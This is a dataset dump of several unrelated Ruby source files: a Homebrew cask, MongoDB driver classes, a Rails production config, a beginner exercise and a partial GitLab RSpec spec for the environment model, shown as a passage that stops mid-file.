hexsha
stringlengths 40
40
| size
int64 2
1.01M
| content
stringlengths 2
1.01M
| avg_line_length
float64 1.5
100
| max_line_length
int64 2
1k
| alphanum_fraction
float64 0.25
1
|
---|---|---|---|---|---|
794cab618ca4a39aa565f3a6428580e79196f4d9 | 485 | cask 'pgweb' do
version '0.9.5'
sha256 '677af53daac6c44f1bdc304bc6285245fef5a75b2a0f7a76d03213afb7268e3a'
url "https://github.com/sosedoff/pgweb/releases/download/v#{version}/pgweb_darwin_amd64.zip"
appcast 'https://github.com/sosedoff/pgweb/releases.atom',
checkpoint: '9aee4e4f2d0ff344e9e255b8d82b8aec68cdcaf045e646ff223214789dc31a29'
name 'pgweb'
homepage 'https://github.com/sosedoff/pgweb'
license :mit
binary 'pgweb_darwin_amd64', target: 'pgweb'
end
| 34.642857 | 94 | 0.779381 |
b915c2c900ae1a385038ed4208d5c584b699ec47 | 259 | require 'simplecov'
require 'simplecov-console'
SimpleCov.formatter = SimpleCov::Formatter::Console
SimpleCov.start
require 'rspec'
require 'process_exists'
def running_specs_as_root?
# The superuser normally has a UID of zero (0)
Process.uid == 0
end
| 18.5 | 51 | 0.776062 |
e8b09212bae989c0648693de2ffe36c2ce2d9702 | 4,551 | # Copyright (C) 2014-2015 MongoDB, Inc.
#
# Licensed under the Apache License, Version 2.0 (the "License");
# you may not use this file except in compliance with the License.
# You may obtain a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in writing, software
# distributed under the License is distributed on an "AS IS" BASIS,
# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
# See the License for the specific language governing permissions and
# limitations under the License.
require 'mongo/operation/write/bulk/bulk_mergable'
require 'mongo/operation/write/bulk/legacy_bulk_mergable'
module Mongo
module Operation
module Write
class BulkUpdate
# Defines custom behaviour of results when updating.
#
# @since 2.0.0
class Result < Operation::Result
include BulkMergable
# The number of modified docs field in the result.
#
# @since 2.0.0
MODIFIED = 'nModified'.freeze
# The upserted docs field in the result.
#
# @since 2.0.0
UPSERTED = 'upserted'.freeze
# Gets the number of documents upserted.
#
# @example Get the upserted count.
# result.n_upserted
#
# @return [ Integer ] The number of documents upserted.
#
# @since 2.0.0
def n_upserted
return 0 unless acknowledged?
@replies.reduce(0) do |n, reply|
if upsert?(reply)
n += 1
else
n += 0
end
end
end
# Gets the number of documents matched.
#
# @example Get the matched count.
# result.n_matched
#
# @return [ Integer ] The number of documents matched.
#
# @since 2.0.0
def n_matched
return 0 unless acknowledged?
@replies.reduce(0) do |n, reply|
if upsert?(reply)
n += 0
else
n += reply.documents.first[N]
end
end
end
# Gets the number of documents modified.
#
# @example Get the modified count.
# result.n_modified
#
# @return [ Integer ] The number of documents modified.
#
# @since 2.0.0
def n_modified
return 0 unless acknowledged?
@replies.reduce(0) do |n, reply|
n += reply.documents.first[MODIFIED] || 0
end
end
private
def upsert?(reply)
reply.documents.first[UPSERTED]
end
end
# Defines custom behaviour of results when updating.
# For server versions < 2.5.5 (that don't use write commands).
#
# @since 2.0.0
class LegacyResult < Operation::Result
include LegacyBulkMergable
# The updated existing field in the result.
#
# @since 2.0.0
UPDATED_EXISTING = 'updatedExisting'.freeze
# Gets the number of documents upserted.
#
# @example Get the upserted count.
# result.n_upserted
#
# @return [ Integer ] The number of documents upserted.
#
# @since 2.0.0
def n_upserted
return 0 unless acknowledged?
@replies.reduce(0) do |n, reply|
if upsert?(reply)
n += reply.documents.first[N]
else
n
end
end
end
# Gets the number of documents matched.
#
# @example Get the matched count.
# result.n_matched
#
# @return [ Integer ] The number of documents matched.
#
# @since 2.0.0
def n_matched
return 0 unless acknowledged?
@replies.reduce(0) do |n, reply|
if upsert?(reply)
n
else
n += reply.documents.first[N]
end
end
end
private
def upsert?(reply)
!updated_existing?(reply) && reply.documents.first[N] == 1
end
def updated_existing?(reply)
reply.documents.first[UPDATED_EXISTING]
end
end
end
end
end
end
| 27.920245 | 74 | 0.518348 |
ab3e2a9d6eac8a153a47bd8b62a8a05689621763 | 2,822 | class ApiMaker::ValidationErrorsGeneratorService < ApiMaker::ApplicationService
attr_reader :model, :params, :result
def initialize(model:, params:)
@model = model
@params = params
@result = []
end
def execute
path = [model.model_name.singular]
inspect_model(model, path)
inspect_params(model, params, path)
ServicePattern::Response.new(result: result)
end
def inspect_model(model, path)
return if model.errors.empty?
model_attribute_names = model.attribute_names
model_reflection_names = model._reflections.keys
model.errors.details.each do |attribute_name, errors|
next if !model_attribute_names.include?(attribute_name.to_s) && !model_reflection_names.include?(attribute_name.to_s)
attribute_path = path + [attribute_name]
input_name = path_to_attribute_name(attribute_path)
errors.each_with_index do |error, error_index|
result << {
attribute_name: attribute_name,
id: model.id,
input_name: input_name,
model_name: model.model_name.param_key,
error_message: model.errors.messages.fetch(attribute_name).fetch(error_index),
error_type: error.fetch(:error)
}
end
end
end
def inspect_params(model, params, path)
params.each do |attribute_name, attribute_value|
match = attribute_name.match(/\A(.+)_attributes\Z/)
next unless match
association_name = match[1].to_sym
association = model.association(association_name)
path << attribute_name
if all_keys_numeric?(attribute_value)
# This is a has-many relationship where keys are mapped to attributes
check_nested_many_models_for_validation_errors(association.target, attribute_value, path)
else
inspect_model(association.target, path)
end
path.pop
end
end
def all_keys_numeric?(hash)
hash.keys.all? { |key| key.to_s.match?(/\A\d+\Z/) }
end
def check_nested_many_models_for_validation_errors(models_up_next, attribute_value, path)
if models_up_next.length != attribute_value.keys.length
raise "Expected same length on targets and attribute values: #{models_up_next.length}, #{attribute_value.keys.length}"
end
count = 0
attribute_value.each do |unique_key, model_attribute_values|
model_up_next = models_up_next.fetch(count)
count += 1
path << unique_key
inspect_model(model_up_next, path)
inspect_params(model_up_next, model_attribute_values, path)
path.pop
end
end
def path_to_attribute_name(original_attribute_path)
attribute_path = original_attribute_path.dup
path_string = attribute_path.shift.dup
attribute_path.each do |path_part|
path_string << "[#{path_part}]"
end
path_string
end
end
| 29.395833 | 124 | 0.7073 |
acf89295510030f9ad8a12814b03edd96107ecea | 3,788 | Rails.application.configure do
# Settings specified here will take precedence over those in config/application.rb.
# Code is not reloaded between requests.
config.cache_classes = true
# Eager load code on boot. This eager loads most of Rails and
# your application in memory, allowing both threaded web servers
# and those relying on copy on write to perform better.
# Rake tasks automatically ignore this option for performance.
config.eager_load = true
# Full error reports are disabled and caching is turned on.
config.consider_all_requests_local = false
config.action_controller.perform_caching = true
# Attempt to read encrypted secrets from `config/secrets.yml.enc`.
# Requires an encryption key in `ENV["RAILS_MASTER_KEY"]` or
# `config/secrets.yml.key`.
config.read_encrypted_secrets = true
# Disable serving static files from the `/public` folder by default since
# Apache or NGINX already handles this.
config.public_file_server.enabled = ENV['RAILS_SERVE_STATIC_FILES'].present?
# Compress JavaScripts and CSS.
config.assets.js_compressor = :uglifier
# config.assets.css_compressor = :sass
# Do not fallback to assets pipeline if a precompiled asset is missed.
config.assets.compile = false
# `config.assets.precompile` and `config.assets.version` have moved to config/initializers/assets.rb
# Enable serving of images, stylesheets, and JavaScripts from an asset server.
# config.action_controller.asset_host = 'http://assets.example.com'
# Specifies the header that your server uses for sending files.
# config.action_dispatch.x_sendfile_header = 'X-Sendfile' # for Apache
# config.action_dispatch.x_sendfile_header = 'X-Accel-Redirect' # for NGINX
# Mount Action Cable outside main process or domain
# config.action_cable.mount_path = nil
# config.action_cable.url = 'wss://example.com/cable'
# config.action_cable.allowed_request_origins = [ 'http://example.com', /http:\/\/example.*/ ]
# Force all access to the app over SSL, use Strict-Transport-Security, and use secure cookies.
# config.force_ssl = true
# Use the lowest log level to ensure availability of diagnostic information
# when problems arise.
config.log_level = :debug
# Prepend all log lines with the following tags.
config.log_tags = [ :request_id ]
# Use a different cache store in production.
# config.cache_store = :mem_cache_store
# Use a real queuing backend for Active Job (and separate queues per environment)
# config.active_job.queue_adapter = :resque
# config.active_job.queue_name_prefix = "departures_#{Rails.env}"
config.action_mailer.perform_caching = false
# Ignore bad email addresses and do not raise email delivery errors.
# Set this to true and configure the email server for immediate delivery to raise delivery errors.
# config.action_mailer.raise_delivery_errors = false
# Enable locale fallbacks for I18n (makes lookups for any locale fall back to
# the I18n.default_locale when a translation cannot be found).
config.i18n.fallbacks = true
# Send deprecation notices to registered listeners.
config.active_support.deprecation = :notify
# Use default logging formatter so that PID and timestamp are not suppressed.
config.log_formatter = ::Logger::Formatter.new
# Use a different logger for distributed setups.
# require 'syslog/logger'
# config.logger = ActiveSupport::TaggedLogging.new(Syslog::Logger.new 'app-name')
if ENV["RAILS_LOG_TO_STDOUT"].present?
logger = ActiveSupport::Logger.new(STDOUT)
logger.formatter = config.log_formatter
config.logger = ActiveSupport::TaggedLogging.new(logger)
end
# Do not dump schema after migrations.
config.active_record.dump_schema_after_migration = false
end
| 41.173913 | 102 | 0.757128 |
bf22ec08738e91a7bc6ff33e81b9a1fb19008558 | 545 | # -----------------------------------------------------------------------------
# Generates necessary xml for a Column chart
#
# Author: Fernand
# -----------------------------------------------------------------------------
module Ziya::Charts
class Column < Base
# Creates a column chart
# <tt>:license</tt>:: the XML/SWF charts license
# <tt>:chart_id</tt>:: the name of the chart style sheet.
def initialize( license=nil, chart_id=nil )
super( license, chart_id )
@type = "column"
end
end
end | 34.0625 | 79 | 0.447706 |
62efb67436f53665eed22a4cd69f0dcf7ebd9727 | 568 | #---
# Excerpted from "Agile Web Development with Rails, 4rd Ed.",
# published by The Pragmatic Bookshelf.
# Copyrights apply to this code. It may not be used to create training material,
# courses, books, articles, and the like. Contact us if you are in doubt.
# We make no guarantees that this code is fit for any purpose.
# Visit http://www.pragmaticprogrammer.com/titles/rails4 for more book information.
#---
require 'test_helper'
class ModelTest < ActiveSupport::TestCase
# Replace this with your real tests.
test "the truth" do
assert true
end
end
| 33.411765 | 83 | 0.742958 |
1adaf23d92a5b05042b950520783ef603dc7ee5f | 1,356 | # In Ruby, your information can come in different types. There are three data types in Ruby that we're interested in right now: numbers, booleans (which can be true or false), and strings (words or phrases like "I'm learning Ruby!").
# 1. Strings are words or phrases wrapped in parentheses.
# Write something to be your string. Don't forget your parentheses!
puts my_string =
# 2. Whole numbers in Ruby are called integers.
# set an integer as your number.
puts my_number =
# 3. Booleans are binary variables, which means they only have two variables.
# In Ruby's case, there are two possible values called “true” and “false.”
# Set a boolean
puts my_boolean =
#Test if Ruby is judging your variable correctly!
# One of the most basic concepts in computer programming is the variable. You can think of a variable as a word or name that grasps a single value. For example, let's say you needed the number 25 from our last example, but you're not going to use it right away. You can set a variable, say my_num, to grasp the value 25 and hang onto it for later use, like this:
# my_num = 25
# Declaring variables in Ruby is easy: you just write out a name like my_num, use = to assign it a value, and you're done! If you need to change a variable, no sweat: just type it again and hit = to assign it a new value.
#4. write out a variable here
| 46.758621 | 362 | 0.748525 |
2696d144db48ed6b2bff70b319d61fe70b68ff37 | 42,455 | # frozen_string_literal: true
require 'spec_helper'
RSpec.describe Environment, :use_clean_rails_memory_store_caching do
include ReactiveCachingHelpers
using RSpec::Parameterized::TableSyntax
include RepoHelpers
include StubENV
include CreateEnvironmentsHelpers
let(:project) { create(:project, :repository) }
subject(:environment) { create(:environment, project: project) }
it { is_expected.to be_kind_of(ReactiveCaching) }
it { is_expected.to belong_to(:project).required }
it { is_expected.to have_many(:deployments) }
it { is_expected.to have_many(:metrics_dashboard_annotations) }
it { is_expected.to have_many(:alert_management_alerts) }
it { is_expected.to have_one(:latest_opened_most_severe_alert) }
it { is_expected.to delegate_method(:stop_action).to(:last_deployment) }
it { is_expected.to delegate_method(:manual_actions).to(:last_deployment) }
it { is_expected.to validate_presence_of(:name) }
it { is_expected.to validate_uniqueness_of(:name).scoped_to(:project_id) }
it { is_expected.to validate_length_of(:name).is_at_most(255) }
it { is_expected.to validate_uniqueness_of(:slug).scoped_to(:project_id) }
it { is_expected.to validate_length_of(:slug).is_at_most(24) }
it { is_expected.to validate_length_of(:external_url).is_at_most(255) }
describe '.order_by_last_deployed_at' do
let!(:environment1) { create(:environment, project: project) }
let!(:environment2) { create(:environment, project: project) }
let!(:environment3) { create(:environment, project: project) }
let!(:deployment1) { create(:deployment, environment: environment1) }
let!(:deployment2) { create(:deployment, environment: environment2) }
let!(:deployment3) { create(:deployment, environment: environment1) }
it 'returns the environments in ascending order of having been last deployed' do
expect(project.environments.order_by_last_deployed_at.to_a).to eq([environment3, environment2, environment1])
end
it 'returns the environments in descending order of having been last deployed' do
expect(project.environments.order_by_last_deployed_at_desc.to_a).to eq([environment1, environment2, environment3])
end
end
describe 'state machine' do
it 'invalidates the cache after a change' do
expect(environment).to receive(:expire_etag_cache)
environment.stop
end
end
describe '.for_name_like' do
subject { project.environments.for_name_like(query, limit: limit) }
let!(:environment) { create(:environment, name: 'production', project: project) }
let(:query) { 'pro' }
let(:limit) { 5 }
it 'returns a found name' do
is_expected.to include(environment)
end
context 'when query is production' do
let(:query) { 'production' }
it 'returns a found name' do
is_expected.to include(environment)
end
end
context 'when query is productionA' do
let(:query) { 'productionA' }
it 'returns empty array' do
is_expected.to be_empty
end
end
context 'when query is empty' do
let(:query) { '' }
it 'returns a found name' do
is_expected.to include(environment)
end
end
context 'when query is nil' do
let(:query) { }
it 'raises an error' do
expect { subject }.to raise_error(NoMethodError)
end
end
context 'when query is partially matched in the middle of environment name' do
let(:query) { 'duction' }
it 'returns empty array' do
is_expected.to be_empty
end
end
context 'when query contains a wildcard character' do
let(:query) { 'produc%' }
it 'prevents wildcard injection' do
is_expected.to be_empty
end
end
end
describe '.auto_stoppable' do
subject { described_class.auto_stoppable(limit) }
let(:limit) { 100 }
context 'when environment is auto-stoppable' do
let!(:environment) { create(:environment, :auto_stoppable) }
it { is_expected.to eq([environment]) }
end
context 'when environment is not auto-stoppable' do
let!(:environment) { create(:environment) }
it { is_expected.to be_empty }
end
end
describe '.stop_actions' do
subject { environments.stop_actions }
let_it_be(:project) { create(:project, :repository) }
let_it_be(:user) { create(:user) }
let(:environments) { Environment.all }
before_all do
project.add_developer(user)
project.repository.add_branch(user, 'review/feature-1', 'master')
project.repository.add_branch(user, 'review/feature-2', 'master')
end
shared_examples_for 'correct filtering' do
it 'returns stop actions for available environments only' do
expect(subject.count).to eq(1)
expect(subject.first.name).to eq('stop_review_app')
expect(subject.first.ref).to eq('review/feature-1')
end
end
before do
create_review_app(user, project, 'review/feature-1')
create_review_app(user, project, 'review/feature-2')
end
it 'returns stop actions for environments' do
expect(subject.count).to eq(2)
expect(subject).to match_array(Ci::Build.where(name: 'stop_review_app'))
end
context 'when one of the stop actions has already been executed' do
before do
Ci::Build.where(ref: 'review/feature-2').find_by_name('stop_review_app').enqueue!
end
it_behaves_like 'correct filtering'
end
context 'when one of the deployments does not have stop action' do
before do
Deployment.where(ref: 'review/feature-2').update_all(on_stop: nil)
end
it_behaves_like 'correct filtering'
end
end
describe '.pluck_names' do
subject { described_class.pluck_names }
let!(:environment) { create(:environment, name: 'production', project: project) }
it 'plucks names' do
is_expected.to eq(%w[production])
end
end
describe '#expire_etag_cache' do
let(:store) { Gitlab::EtagCaching::Store.new }
it 'changes the cached value' do
old_value = store.get(environment.etag_cache_key)
environment.stop
expect(store.get(environment.etag_cache_key)).not_to eq(old_value)
end
end
describe '.with_deployment' do
subject { described_class.with_deployment(sha) }
let(:environment) { create(:environment, project: project) }
let(:sha) { 'b83d6e391c22777fca1ed3012fce84f633d7fed0' }
context 'when deployment has the specified sha' do
let!(:deployment) { create(:deployment, environment: environment, sha: sha) }
it { is_expected.to eq([environment]) }
end
context 'when deployment does not have the specified sha' do
let!(:deployment) { create(:deployment, environment: environment, sha: 'ddd0f15ae83993f5cb66a927a28673882e99100b') }
it { is_expected.to be_empty }
end
end
describe '#folder_name' do
context 'when it is inside a folder' do
subject(:environment) do
create(:environment, name: 'staging/review-1', project: project)
end
it 'returns a top-level folder name' do
expect(environment.folder_name).to eq 'staging'
end
end
context 'when the environment if a top-level item itself' do
subject(:environment) do
create(:environment, name: 'production')
end
it 'returns an environment name' do
expect(environment.folder_name).to eq 'production'
end
end
end
describe '#name_without_type' do
context 'when it is inside a folder' do
subject(:environment) do
create(:environment, name: 'staging/review-1')
end
it 'returns name without folder' do
expect(environment.name_without_type).to eq 'review-1'
end
end
context 'when the environment if a top-level item itself' do
subject(:environment) do
create(:environment, name: 'production')
end
it 'returns full name' do
expect(environment.name_without_type).to eq 'production'
end
end
end
describe '#nullify_external_url' do
it 'replaces a blank url with nil' do
env = build(:environment, external_url: "")
expect(env.save).to be true
expect(env.external_url).to be_nil
end
end
describe '#includes_commit?' do
let(:project) { create(:project, :repository) }
context 'without a last deployment' do
it "returns false" do
expect(environment.includes_commit?('HEAD')).to be false
end
end
context 'with a last deployment' do
let!(:deployment) do
create(:deployment, :success, environment: environment, sha: project.commit('master').id)
end
context 'in the same branch' do
it 'returns true' do
expect(environment.includes_commit?(RepoHelpers.sample_commit)).to be true
end
end
context 'not in the same branch' do
before do
deployment.update(sha: project.commit('feature').id)
end
it 'returns false' do
expect(environment.includes_commit?(RepoHelpers.sample_commit)).to be false
end
end
end
end
describe '#update_merge_request_metrics?' do
{
'production' => true,
'production/eu' => true,
'production/www.gitlab.com' => true,
'productioneu' => false,
'Production' => false,
'Production/eu' => false,
'test-production' => false
}.each do |name, expected_value|
it "returns #{expected_value} for #{name}" do
env = create(:environment, name: name)
expect(env.update_merge_request_metrics?).to eq(expected_value)
end
end
end
describe '#environment_type' do
subject { environment.environment_type }
it 'sets a environment type if name has multiple segments' do
environment.update!(name: 'production/worker.gitlab.com')
is_expected.to eq('production')
end
it 'nullifies a type if it\'s a simple name' do
environment.update!(name: 'production')
is_expected.to be_nil
end
end
describe '#stop_action_available?' do
subject { environment.stop_action_available? }
context 'when no other actions' do
it { is_expected.to be_falsey }
end
context 'when matching action is defined' do
let(:build) { create(:ci_build) }
let!(:deployment) do
create(:deployment, :success,
environment: environment,
deployable: build,
on_stop: 'close_app')
end
let!(:close_action) do
create(:ci_build, :manual, pipeline: build.pipeline,
name: 'close_app')
end
context 'when environment is available' do
before do
environment.start
end
it { is_expected.to be_truthy }
end
context 'when environment is stopped' do
before do
environment.stop
end
it { is_expected.to be_falsey }
end
end
end
describe '#stop_with_action!' do
let(:user) { create(:user) }
subject { environment.stop_with_action!(user) }
before do
expect(environment).to receive(:available?).and_call_original
end
context 'when no other actions' do
context 'environment is available' do
before do
environment.update(state: :available)
end
it do
subject
expect(environment).to be_stopped
end
end
context 'environment is already stopped' do
before do
environment.update(state: :stopped)
end
it do
subject
expect(environment).to be_stopped
end
end
end
context 'when matching action is defined' do
let(:pipeline) { create(:ci_pipeline, project: project) }
let(:build) { create(:ci_build, pipeline: pipeline) }
let!(:deployment) do
create(:deployment, :success,
environment: environment,
deployable: build,
on_stop: 'close_app')
end
context 'when user is not allowed to stop environment' do
let!(:close_action) do
create(:ci_build, :manual, pipeline: pipeline, name: 'close_app')
end
it 'raises an exception' do
expect { subject }.to raise_error(Gitlab::Access::AccessDeniedError)
end
end
context 'when user is allowed to stop environment' do
before do
project.add_developer(user)
create(:protected_branch, :developers_can_merge,
name: 'master', project: project)
end
context 'when action did not yet finish' do
let!(:close_action) do
create(:ci_build, :manual, pipeline: pipeline, name: 'close_app')
end
it 'returns the same action' do
expect(subject).to eq(close_action)
expect(subject.user).to eq(user)
end
end
context 'if action did finish' do
let!(:close_action) do
create(:ci_build, :manual, :success,
pipeline: pipeline, name: 'close_app')
end
it 'returns a new action of the same type' do
expect(subject).to be_persisted
expect(subject.name).to eq(close_action.name)
expect(subject.user).to eq(user)
end
end
end
end
end
describe 'recently_updated_on_branch?' do
subject { environment.recently_updated_on_branch?('feature') }
context 'when last deployment to environment is the most recent one' do
before do
create(:deployment, :success, environment: environment, ref: 'feature')
end
it { is_expected.to be true }
end
context 'when last deployment to environment is not the most recent' do
before do
create(:deployment, :success, environment: environment, ref: 'feature')
create(:deployment, :success, environment: environment, ref: 'master')
end
it { is_expected.to be false }
end
end
describe '#reset_auto_stop' do
subject { environment.reset_auto_stop }
let(:environment) { create(:environment, :auto_stoppable) }
it 'nullifies the auto_stop_at' do
expect { subject }.to change(environment, :auto_stop_at).from(Time).to(nil)
end
end
describe '#actions_for' do
let(:deployment) { create(:deployment, :success, environment: environment) }
let(:pipeline) { deployment.deployable.pipeline }
let!(:review_action) { create(:ci_build, :manual, name: 'review-apps', pipeline: pipeline, environment: 'review/$CI_COMMIT_REF_NAME' )}
let!(:production_action) { create(:ci_build, :manual, name: 'production', pipeline: pipeline, environment: 'production' )}
it 'returns a list of actions with matching environment' do
expect(environment.actions_for('review/master')).to contain_exactly(review_action)
end
end
describe '.deployments' do
subject { environment.deployments }
context 'when there is a deployment record with created status' do
let(:deployment) { create(:deployment, :created, environment: environment) }
it 'does not return the record' do
is_expected.to be_empty
end
end
context 'when there is a deployment record with running status' do
let(:deployment) { create(:deployment, :running, environment: environment) }
it 'does not return the record' do
is_expected.to be_empty
end
end
context 'when there is a deployment record with success status' do
let(:deployment) { create(:deployment, :success, environment: environment) }
it 'returns the record' do
is_expected.to eq([deployment])
end
end
end
describe '.last_deployment' do
subject { environment.last_deployment }
before do
allow_next_instance_of(Deployment) do |instance|
allow(instance).to receive(:create_ref)
end
end
context 'when there is an old deployment record' do
let!(:previous_deployment) { create(:deployment, :success, environment: environment) }
context 'when there is a deployment record with created status' do
let!(:deployment) { create(:deployment, environment: environment) }
it 'returns the previous deployment' do
is_expected.to eq(previous_deployment)
end
end
context 'when there is a deployment record with running status' do
let!(:deployment) { create(:deployment, :running, environment: environment) }
it 'returns the previous deployment' do
is_expected.to eq(previous_deployment)
end
end
context 'when there is a deployment record with failed status' do
let!(:deployment) { create(:deployment, :failed, environment: environment) }
it 'returns the previous deployment' do
is_expected.to eq(previous_deployment)
end
end
context 'when there is a deployment record with success status' do
let!(:deployment) { create(:deployment, :success, environment: environment) }
it 'returns the latest successful deployment' do
is_expected.to eq(deployment)
end
end
end
end
describe '#last_visible_deployment' do
subject { environment.last_visible_deployment }
before do
allow_any_instance_of(Deployment).to receive(:create_ref)
end
context 'when there is an old deployment record' do
let!(:previous_deployment) { create(:deployment, :success, environment: environment) }
context 'when there is a deployment record with created status' do
let!(:deployment) { create(:deployment, environment: environment) }
it { is_expected.to eq(previous_deployment) }
end
context 'when there is a deployment record with running status' do
let!(:deployment) { create(:deployment, :running, environment: environment) }
it { is_expected.to eq(deployment) }
end
context 'when there is a deployment record with success status' do
let!(:deployment) { create(:deployment, :success, environment: environment) }
it { is_expected.to eq(deployment) }
end
context 'when there is a deployment record with failed status' do
let!(:deployment) { create(:deployment, :failed, environment: environment) }
it { is_expected.to eq(deployment) }
end
context 'when there is a deployment record with canceled status' do
let!(:deployment) { create(:deployment, :canceled, environment: environment) }
it { is_expected.to eq(deployment) }
end
end
end
describe '#last_visible_pipeline' do
let(:user) { create(:user) }
let_it_be(:project) { create(:project, :repository) }
let(:environment) { create(:environment, project: project) }
let(:commit) { project.commit }
let(:success_pipeline) do
create(:ci_pipeline, :success, project: project, user: user, sha: commit.sha)
end
let(:failed_pipeline) do
create(:ci_pipeline, :failed, project: project, user: user, sha: commit.sha)
end
it 'uses the last deployment even if it failed' do
pipeline = create(:ci_pipeline, project: project, user: user, sha: commit.sha)
ci_build = create(:ci_build, project: project, pipeline: pipeline)
create(:deployment, :failed, project: project, environment: environment, deployable: ci_build, sha: commit.sha)
last_pipeline = environment.last_visible_pipeline
expect(last_pipeline).to eq(pipeline)
end
it 'returns nil if there is no deployment' do
create(:ci_build, project: project, pipeline: success_pipeline)
expect(environment.last_visible_pipeline).to be_nil
end
it 'does not return an invisible pipeline' do
failed_pipeline = create(:ci_pipeline, project: project, user: user, sha: commit.sha)
ci_build_a = create(:ci_build, project: project, pipeline: failed_pipeline)
create(:deployment, :failed, project: project, environment: environment, deployable: ci_build_a, sha: commit.sha)
pipeline = create(:ci_pipeline, project: project, user: user, sha: commit.sha)
ci_build_b = create(:ci_build, project: project, pipeline: pipeline)
create(:deployment, :created, project: project, environment: environment, deployable: ci_build_b, sha: commit.sha)
last_pipeline = environment.last_visible_pipeline
expect(last_pipeline).to eq(failed_pipeline)
end
context 'for the environment' do
it 'returns the last pipeline' do
pipeline = create(:ci_pipeline, project: project, user: user, sha: commit.sha)
ci_build = create(:ci_build, project: project, pipeline: pipeline)
create(:deployment, :success, project: project, environment: environment, deployable: ci_build, sha: commit.sha)
last_pipeline = environment.last_visible_pipeline
expect(last_pipeline).to eq(pipeline)
end
context 'with multiple deployments' do
it 'returns the last pipeline' do
pipeline_a = create(:ci_pipeline, project: project, user: user)
pipeline_b = create(:ci_pipeline, project: project, user: user)
ci_build_a = create(:ci_build, project: project, pipeline: pipeline_a)
ci_build_b = create(:ci_build, project: project, pipeline: pipeline_b)
create(:deployment, :success, project: project, environment: environment, deployable: ci_build_a)
create(:deployment, :success, project: project, environment: environment, deployable: ci_build_b)
last_pipeline = environment.last_visible_pipeline
expect(last_pipeline).to eq(pipeline_b)
end
end
context 'with multiple pipelines' do
it 'returns the last pipeline' do
create(:ci_build, project: project, pipeline: success_pipeline)
ci_build_b = create(:ci_build, project: project, pipeline: failed_pipeline)
create(:deployment, :failed, project: project, environment: environment, deployable: ci_build_b, sha: commit.sha)
last_pipeline = environment.last_visible_pipeline
expect(last_pipeline).to eq(failed_pipeline)
end
end
end
end
describe '#has_terminals?' do
subject { environment.has_terminals? }
context 'when the environment is available' do
context 'with a deployment service' do
context 'when user configured kubernetes from CI/CD > Clusters' do
let!(:cluster) { create(:cluster, :project, :provided_by_gcp, projects: [project]) }
context 'with deployment' do
let!(:deployment) { create(:deployment, :success, environment: environment) }
it { is_expected.to be_truthy }
end
context 'without deployments' do
it { is_expected.to be_falsy }
end
end
end
context 'without a deployment service' do
it { is_expected.to be_falsy }
end
end
context 'when the environment is unavailable' do
before do
environment.stop
end
it { is_expected.to be_falsy }
end
end
describe '#deployment_platform' do
context 'when there is a deployment platform for environment' do
let!(:cluster) do
create(:cluster, :provided_by_gcp,
environment_scope: '*', projects: [project])
end
it 'finds a deployment platform' do
expect(environment.deployment_platform).to eq cluster.platform
end
end
context 'when there is no deployment platform for environment' do
it 'returns nil' do
expect(environment.deployment_platform).to be_nil
end
end
it 'checks deployment platforms associated with a project' do
expect(project).to receive(:deployment_platform)
.with(environment: environment.name)
environment.deployment_platform
end
end
describe '#deployment_namespace' do
let(:environment) { create(:environment) }
subject { environment.deployment_namespace }
before do
allow(environment).to receive(:deployment_platform).and_return(deployment_platform)
end
context 'no deployment platform available' do
let(:deployment_platform) { nil }
it { is_expected.to be_nil }
end
context 'deployment platform is available' do
let(:cluster) { create(:cluster, :provided_by_user, :project, projects: [environment.project]) }
let(:deployment_platform) { cluster.platform }
it 'retrieves a namespace from the cluster' do
expect(cluster).to receive(:kubernetes_namespace_for)
.with(environment).and_return('mock-namespace')
expect(subject).to eq 'mock-namespace'
end
end
end
describe '#terminals' do
subject { environment.terminals }
before do
allow(environment).to receive(:deployment_platform).and_return(double)
end
context 'reactive cache configuration' do
it 'does not continue to spawn jobs' do
expect(described_class.reactive_cache_lifetime).to be < described_class.reactive_cache_refresh_interval
end
end
context 'reactive cache is empty' do
before do
stub_reactive_cache(environment, nil)
end
it { is_expected.to be_nil }
end
context 'reactive cache has pod data' do
let(:cache_data) { Hash(pods: %w(pod1 pod2)) }
before do
stub_reactive_cache(environment, cache_data)
end
it 'retrieves terminals from the deployment platform' do
expect(environment.deployment_platform)
.to receive(:terminals).with(environment, cache_data)
.and_return(:fake_terminals)
is_expected.to eq(:fake_terminals)
end
end
end
describe '#calculate_reactive_cache' do
let!(:cluster) { create(:cluster, :project, :provided_by_user, projects: [project]) }
let!(:environment) { create(:environment, project: project) }
let!(:deployment) { create(:deployment, :success, environment: environment, project: project) }
subject { environment.calculate_reactive_cache }
it 'overrides default reactive_cache_hard_limit to 10 Mb' do
expect(described_class.reactive_cache_hard_limit).to eq(10.megabyte)
end
it 'overrides reactive_cache_limit_enabled? with a FF' do
environment_with_enabled_ff = FactoryBot.build(:environment)
environment_with_disabled_ff = FactoryBot.build(:environment)
stub_feature_flags(reactive_caching_limit_environment: environment_with_enabled_ff.project)
expect(environment_with_enabled_ff.send(:reactive_cache_limit_enabled?)).to be_truthy
expect(environment_with_disabled_ff.send(:reactive_cache_limit_enabled?)).to be_falsey
end
it 'returns cache data from the deployment platform' do
expect(environment.deployment_platform).to receive(:calculate_reactive_cache_for)
.with(environment).and_return(pods: %w(pod1 pod2))
is_expected.to eq(pods: %w(pod1 pod2))
end
context 'environment does not have terminals available' do
before do
allow(environment).to receive(:has_terminals?).and_return(false)
end
it { is_expected.to be_nil }
end
context 'project is pending deletion' do
before do
allow(environment.project).to receive(:pending_delete?).and_return(true)
end
it { is_expected.to be_nil }
end
end
describe '#has_metrics?' do
subject { environment.has_metrics? }
context 'when the environment is available' do
context 'with a deployment service' do
let(:project) { create(:prometheus_project, :repository) }
context 'and a deployment' do
let!(:deployment) { create(:deployment, environment: environment) }
it { is_expected.to be_truthy }
end
context 'and no deployments' do
it { is_expected.to be_truthy }
end
context 'and the prometheus adapter is not configured' do
before do
allow(environment.prometheus_adapter).to receive(:configured?).and_return(false)
end
it { is_expected.to be_falsy }
end
end
context 'without a monitoring service' do
it { is_expected.to be_falsy }
end
context 'when sample metrics are enabled' do
before do
stub_env('USE_SAMPLE_METRICS', 'true')
end
context 'with no prometheus adapter configured' do
before do
allow(environment.prometheus_adapter).to receive(:configured?).and_return(false)
end
it { is_expected.to be_truthy }
end
end
end
describe '#has_sample_metrics?' do
subject { environment.has_metrics? }
let(:project) { create(:project) }
context 'when sample metrics are enabled' do
before do
stub_env('USE_SAMPLE_METRICS', 'true')
end
context 'with no prometheus adapter configured' do
